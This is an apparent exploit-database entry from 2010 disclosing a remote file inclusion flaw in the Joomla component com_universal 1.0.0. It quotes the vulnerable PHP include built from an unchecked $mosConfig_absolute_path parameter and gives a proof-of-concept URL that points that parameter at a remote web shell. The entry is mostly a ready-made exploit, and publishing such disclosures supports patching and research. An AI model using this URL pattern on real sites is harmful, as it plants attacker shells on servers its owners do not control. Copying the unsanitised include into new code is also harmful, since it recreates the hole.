Joomla! Component com_universal - Remote File Inclusion

Author: eidelweiss
type: webapps
platform: php
port: 
date_added: 2010-03-23 
date_updated:  
verified: 1 
codes:  
tags: 
aliases:  
screenshot_url:  
application_url: 

###########################################################
	Joomla component com_universal <= Remote File Inclusion Vulnerability exploit
###########################################################

[+]Software:	Joomla component com_universal (UWCMS Universal Web CMS)
[+]Version:	1.0.0
[+]License:	http://www.gnu.org/copyleft/gpl.html GNU/GPL
[+]Source:	http://uwcms.sourceforge.net
[+]CWE ID :	98
[+]Security Risk:	High
[+]Remote Exploit:	Yes

###########################################################
[+]Author:	eidelweiss
[+]Contact:	eidelweiss[at]cyberservices[dot]com
[+]Thank`s:	sp3x (securityreason) - JosS (hack0wn) - r0073r & 0x1D (inj3ct0r)
[+]Special:	[D]eal [C]yber - syabilla_putri (miss u) , psychotic_girl (dodol :P) , all my friends
###########################################################

-=[ VULN ]=-

[-]	/includes/config/config.html.php

	global $mosConfig_absolute_path;
	require_once($mosConfig_absolute_path."/administrator/components/com_universal/includes/config/configuracion.php");

-=[ P0C ]=-

	http://127.0.0.1//administrator/components/com_universal/includes/config/config.html.php?mosConfig_absolute_path= [sh3ll inj3ct0r]

###########################################################